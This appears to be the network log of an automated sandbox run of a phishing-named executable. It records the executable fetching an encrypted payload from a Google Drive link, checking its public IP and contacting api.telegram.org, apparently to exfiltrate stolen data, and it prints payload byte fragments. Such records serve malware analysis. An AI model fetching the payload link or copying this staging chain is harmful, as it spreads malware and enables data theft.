Dec 3, 2024 15:32:28.488758087 CET	443	50004	149.154.167.220	192.168.2.6
Dec 3, 2024 15:32:29.076212883 CET	443	50004	149.154.167.220	192.168.2.6
Dec 3, 2024 15:32:29.076338053 CET	443	50004	149.154.167.220	192.168.2.6
Dec 3, 2024 15:32:29.076396942 CET	50004	443	192.168.2.6	149.154.167.220
Dec 3, 2024 15:32:29.076910019 CET	50004	443	192.168.2.6	149.154.167.220

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 3, 2024 15:31:48.437036991 CET	65332	53	192.168.2.6	1.1.1.1
Dec 3, 2024 15:31:48.575433969 CET	53	65332	1.1.1.1	192.168.2.6
Dec 3, 2024 15:31:51.331799030 CET	57317	53	192.168.2.6	1.1.1.1
Dec 3, 2024 15:31:51.470508099 CET	53	57317	1.1.1.1	192.168.2.6
Dec 3, 2024 15:31:57.284841061 CET	49602	53	192.168.2.6	1.1.1.1
Dec 3, 2024 15:31:57.423029900 CET	53	49602	1.1.1.1	192.168.2.6
Dec 3, 2024 15:31:59.785229921 CET	60971	53	192.168.2.6	1.1.1.1
Dec 3, 2024 15:31:59.925307035 CET	53	60971	1.1.1.1	192.168.2.6
Dec 3, 2024 15:32:19.022512913 CET	60682	53	192.168.2.6	1.1.1.1
Dec 3, 2024 15:32:19.160799980 CET	53	60682	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 3, 2024 15:31:48.437036991 CET	192.168.2.6	1.1.1.1	0xb60c	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Dec 3, 2024 15:31:51.331799030 CET	192.168.2.6	1.1.1.1	0xd688	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Dec 3, 2024 15:31:57.284841061 CET	192.168.2.6	1.1.1.1	0xfb5a	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Dec 3, 2024 15:31:59.785229921 CET	192.168.2.6	1.1.1.1	0xf321	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Dec 3, 2024 15:32:19.022512913 CET	192.168.2.6	1.1.1.1	0x829c	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 3, 2024 15:30:01.744332075 CET	1.1.1.1	192.168.2.6	0x2603	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 3, 2024 15:30:01.744332075 CET	1.1.1.1	192.168.2.6	0x2603	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Dec 3, 2024 15:31:48.575433969 CET	1.1.1.1	192.168.2.6	0xb60c	No error (0)	drive.google.com		172.217.19.174	A (IP address)	IN (0x0001)	false
Dec 3, 2024 15:31:51.470508099 CET	1.1.1.1	192.168.2.6	0xd688	No error (0)	drive.usercontent.google.com		142.250.181.1	A (IP address)	IN (0x0001)	false
Dec 3, 2024 15:31:57.423029900 CET	1.1.1.1	192.168.2.6	0xfb5a	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 3, 2024 15:31:57.423029900 CET	1.1.1.1	192.168.2.6	0xfb5a	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Dec 3, 2024 15:31:57.423029900 CET	1.1.1.1	192.168.2.6	0xfb5a	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Dec 3, 2024 15:31:57.423029900 CET	1.1.1.1	192.168.2.6	0xfb5a	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Dec 3, 2024 15:31:57.423029900 CET	1.1.1.1	192.168.2.6	0xfb5a	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Dec 3, 2024 15:31:57.423029900 CET	1.1.1.1	192.168.2.6	0xfb5a	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Dec 3, 2024 15:31:59.925307035 CET	1.1.1.1	192.168.2.6	0xf321	No error (0)	reallyfreegeoip.org		172.67.177.134	A (IP address)	IN (0x0001)	false
Dec 3, 2024 15:31:59.925307035 CET	1.1.1.1	192.168.2.6	0xf321	No error (0)	reallyfreegeoip.org		104.21.67.152	A (IP address)	IN (0x0001)	false
Dec 3, 2024 15:32:19.160799980 CET	1.1.1.1	192.168.2.6	0x829c	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

drive.usercontent.google.com

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49934	158.101.44.242	80	6484	C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 15:31:57.551379919 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 3, 2024 15:31:58.762752056 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:31:58 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 0592041addde21e3d8fc44cbd448b5b1 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>
Dec 3, 2024 15:31:58.767026901 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Dec 3, 2024 15:31:59.142606974 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:31:58 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: e507bb53d2855acd7c23d442c5ba4057 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>
Dec 3, 2024 15:32:01.630788088 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Dec 3, 2024 15:32:02.005204916 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:01 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 93cec8ca1e5cf1e94f2bd0b392e57f93 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>
Dec 3, 2024 15:32:03.865417004 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Dec 3, 2024 15:32:04.242659092 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:04 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 45580cca4aa540230924cd7ff07cb389 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>
Dec 3, 2024 15:32:06.052875042 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Dec 3, 2024 15:32:06.434658051 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:06 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 125fdf249c3323941efd549ac4375629 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>
Dec 3, 2024 15:32:08.196687937 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Dec 3, 2024 15:32:08.570601940 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:08 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 94480cb6294a2e56a3cf2ac17d6810f0 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>
Dec 3, 2024 15:32:10.402786970 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Dec 3, 2024 15:32:10.782025099 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:10 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: c5fa1d3885185df53569f01769a69fbf Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>
Dec 3, 2024 15:32:12.511404991 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Dec 3, 2024 15:32:12.890440941 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:12 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: df3824d7ac5edeebead832444b0dfb98 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>
Dec 3, 2024 15:32:14.635994911 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Dec 3, 2024 15:32:15.057116985 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:14 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 13bcb610ac49bb0ac8c91c547404c9e1 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>
Dec 3, 2024 15:32:16.804886103 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Dec 3, 2024 15:32:17.180059910 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:16 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 69ab5ba6bfdd4420ca1e826efed32a7f Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49913	172.217.19.174	443	6484	C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:31:50 UTC	216	OUT	GET /uc?export=download&id=1lgdW6QYobumFhnMWuJXQIs7wQ7eWkw80 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache
2024-12-03 14:31:51 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 03 Dec 2024 14:31:50 GMT Location: https://drive.usercontent.google.com/download?id=1lgdW6QYobumFhnMWuJXQIs7wQ7eWkw80&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'nonce-UVssyHUTecQeElLIYclYBw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49919	142.250.181.1	443	6484	C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:31:53 UTC	258	OUT	GET /download?id=1lgdW6QYobumFhnMWuJXQIs7wQ7eWkw80&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2024-12-03 14:31:56 UTC	4934	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="BrlDOMPNFrchnivLSKdlkruQT177.bin" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED] Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: bytes Content-Length: 277568 Last-Modified: Tue, 03 Dec 2024 00:04:54 GMT X-GUploader-UploadID: AFiumC7cGavuP5gNc1323HWQFM2jNalsugUv_iwIB-ly44dB5Irf2TF6opyFhMKw0lnK_2REHqyNkD1O5g Date: Tue, 03 Dec 2024 14:31:55 GMT Expires: Tue, 03 Dec 2024 14:31:55 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=qZ1emA== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-03 14:31:56 UTC	4934	IN	Data Raw: c6 bb 40 75 7f 32 d3 c4 b9 14 78 1c 64 da 8f 47 97 20 bb 97 4c f2 2f c2 d2 0a b8 0a 7e 84 bf 9b 46 e8 4d 2c fa 9d e1 26 55 e1 f0 53 08 4a 27 60 d7 f4 de 11 59 3f 40 d7 34 dc 25 bc 13 5d e4 c2 28 0b e8 db 67 5a 28 f6 c7 92 c5 b4 1c b2 2c 7a 1e c3 f0 f9 44 5e 07 85 f1 62 4c d8 84 ea d3 20 80 04 f2 85 3f 4f 69 53 57 be 5d 5a 39 82 a4 9a 85 ef 5a 55 13 3a ad 0f 37 c2 41 df 84 1a dd 34 1a 5d 69 10 c5 f3 48 29 f5 e0 ab d9 31 a0 e6 15 81 34 69 44 25 9e 23 62 53 0c c4 c9 0a 21 29 60 f5 3d 6d bb 81 9d e0 2d f0 c3 c3 44 87 b4 6a 2b 04 f2 f6 1e 22 1b f4 37 1c 65 e0 4d 3c 89 4e ac d0 f5 fb 50 04 57 32 77 de 32 f2 98 39 45 8d 3e db ea 84 b2 45 af b2 f1 8a b5 7e 4a cb 03 46 21 bb 5f 4e ed 39 39 76 a0 37 0d 3a f4 75 94 84 9c 4e 59 16 a0 77 85 0f e8 35 b3 a0 90 3b 3d 9e Data Ascii: @u2xdG L/~FM,&USJ'`Y?@4%](gZ(,zD^bL ?OiSW]Z9ZU:7A4]iH)14iD%#bS!)`=m-Dj+"7eM<NPW2w29E>E~JF!_N99v7:uNYw5;=
2024-12-03 14:31:56 UTC	4828	IN	Data Raw: a7 b4 e3 47 f2 7a a6 e9 f0 f9 05 12 07 85 b3 62 4c d8 de ea d3 20 b7 05 f2 85 ae 4e 69 53 59 be 5d 5a 39 82 a4 9a 87 ef 5a 55 be 3b ad 0f 2c c2 41 df cc 1b dd 34 1a 42 d3 1e c5 47 41 e4 d4 58 aa 95 fd 81 b2 7d 3f 46 49 34 8f f0 44 10 22 61 e4 aa 2e 4f 47 0e 9a 2d 0c de 10 ef 95 43 c3 aa ad 75 c3 fb 11 68 69 9d 98 70 0b 3e a3 3d 38 6f e3 22 60 89 4e a6 ef d4 fb 50 42 56 36 68 17 3a 3d fe 39 44 e2 5b db ea 8e b2 a2 a8 df 96 81 b4 24 4d a4 42 42 21 b1 24 26 ed 39 33 7a a0 7a 20 3e f4 7f a7 80 9c 5f 3d 1a b7 04 ef 4f e8 3f 80 a5 90 2a 3a ed f6 f3 de c6 68 4b 74 35 70 9c 73 6c 64 0e 53 24 a3 41 18 ab 7b f2 36 38 6f ae 13 6e 5a e2 f6 b2 57 55 3d 10 5e 53 b9 0f 14 d5 78 4c 79 30 c5 3c c9 43 b1 3b 33 e0 25 a1 dd c8 50 34 3f 7d e8 2b fc 95 60 be 44 64 9d 98 50 38 Data Ascii: GzbL NiSY]Z9ZU;,A4BGAX}?FI4D"a.OG-Cuhip>=8o"`NPBV6h:=9D[$MBB!$&93zz >_=O?*:hKt5psldS$A{68onZWU=^SxLy0<C;3%P4?}+`DdP8
2024-12-03 14:31:56 UTC	1324	IN	Data Raw: 24 85 20 d2 d6 17 f2 c5 96 b9 3d 10 9a b4 a7 a4 82 81 fb a4 ec 15 65 51 78 a5 56 5a 28 f2 b1 07 c7 b4 93 5b 04 fb a6 c3 fa ef ba 5f 14 83 a0 64 75 1b 86 ea d3 5e af 04 f2 81 4d 2e 79 53 27 a8 75 db 39 82 ae 8c 7b ee 49 52 02 3d 94 3f 36 c2 41 df 10 e4 db 09 14 42 d5 6d 05 47 41 ee fc 99 aa 95 f6 81 c1 bf e8 47 43 27 5f e0 4c 6e 08 61 e4 ae 18 8c 47 0f 8b 72 cb de a1 e5 95 52 d8 c5 68 64 c3 f1 47 36 69 9d 96 14 ca 16 f9 37 38 74 e8 3f bb 99 4e dc a8 04 fb 50 42 24 ac 67 07 c7 4a a5 39 45 87 51 1c ea 84 b8 a5 be b8 ed 0c f4 2e 4a ca 00 54 53 80 44 4e 9d 9b 1c 61 88 bd 49 3e fe d7 91 9c ee 1b 36 12 d0 d5 a0 56 96 0d 93 a0 94 99 1a 84 ef 8a d1 cc 0b ef 40 28 0c d9 1f 6c 60 a6 76 e6 df c6 06 ad 27 58 0f 4b 00 af 19 01 98 e2 2a a9 53 44 6c 10 5e 5d c7 18 1a d5 Data Ascii: $ =eQxVZ([_du^M.yS'u9{IR=?6ABmGAGC'_LnaGrRhdG6i78t?NPB$gJ9EQ.JTSDNaI>6V@(l`v'XK*SDl^]
2024-12-03 14:31:56 UTC	1390	IN	Data Raw: 10 1a 3b e4 aa 61 52 ca 4f 81 1d 0e fb b7 9d ae 4c d0 da 0f 41 d4 d3 8d 0b 69 97 30 5e 14 64 ac 32 38 15 42 68 25 f7 76 ac 80 b4 59 75 52 24 48 78 07 c7 c0 db 22 3b a7 3e db ee 26 97 b9 dd 37 ff 81 c4 8c 62 be 25 42 2b d4 17 4e ed 33 2a 57 bb 84 09 3e f4 74 91 92 ee af 2b 12 d0 d5 a0 58 c0 81 93 a0 9a 99 1a 86 ef a6 d1 cc 0b ef 40 2a 0c cb 1f 6c 60 a6 76 e0 df 70 0a ad 27 58 0f 4b 00 af 19 7d 72 f4 02 d5 53 3a 5a 10 7e 59 b8 d1 1a fd 1e 49 55 32 d4 39 d8 7d b1 3b 3d f1 d8 0d dc db 41 40 6d 6a f9 2f 97 bc 29 be 4e 6e 50 b3 06 16 fe 23 2e 81 87 c6 56 31 78 95 8e 61 45 01 4e 70 96 86 c9 37 e9 7c ab ee ca 83 c4 d7 f0 37 8e 47 a5 26 1c b4 53 d6 59 a6 85 eb 7c 63 3a d6 b8 2f e3 b4 15 72 d9 5d a7 aa 13 1c 4c 77 f6 9e f6 57 a3 73 33 74 01 4b 6b b7 30 65 b5 8d f2 Data Ascii: ;aROLAi0^d28Bh%vYuR$Hx";>&7b%B+N3W>t+X@l`vp'XK}rS:Z~YIU29};=A@mj/)NnP#.V1xaENp7\|7G&SY\|c:/r]LwWs3tKk0e
2024-12-03 14:31:56 UTC	1390	IN	Data Raw: e1 da 73 e7 5d 12 a9 b9 c2 f4 12 62 39 75 54 6d 45 ec 58 e9 95 ea 3d ae d6 ab ee ca 5d ba fc f0 37 f4 03 48 26 18 cc d5 d3 48 d0 fc 12 fd 63 30 cd a9 be 31 a7 31 69 fd 0f c7 b7 9e 58 3f be f7 bb ea 36 90 02 02 04 a3 6a 0e 0a 86 65 c5 91 78 6b 23 7d 73 f0 67 a5 4d a1 b9 ab d5 ef 71 48 a8 2f b1 95 08 6f de 41 5e 2a e2 e3 55 e3 d0 3e 96 06 9d b4 61 bd e8 54 1b 88 59 d5 a8 43 4d 71 7f 15 84 28 8d 4b d7 fa 27 cf 8e bb 22 c8 83 14 87 0d 2e d9 03 b4 f7 86 fd 72 22 fb 8d 6f d5 0b be 9d 8c 40 df 0f 34 1b d8 14 a6 0f 5a 6b e4 e8 12 ad d3 af eb 37 32 88 c2 96 2b 8d 91 4d d6 a6 c3 8e 87 49 48 d9 45 9b 5a 05 bf df 1c af db a3 2b 91 39 bd 11 06 28 53 89 eb eb da b9 89 39 1a 1b c1 5e 98 7b 18 db 31 01 6c fc a4 d0 58 e2 ff ae 14 df bd 41 88 82 72 65 9a f7 2a b5 15 11 cc Data Ascii: s]b9uTmEX=]7H&Hc011iX?6jexk#}sgMqH/oA^U>aTYCMq(K'".r"o@4Zk72+MIHEZ+9(S9^{1lXAre
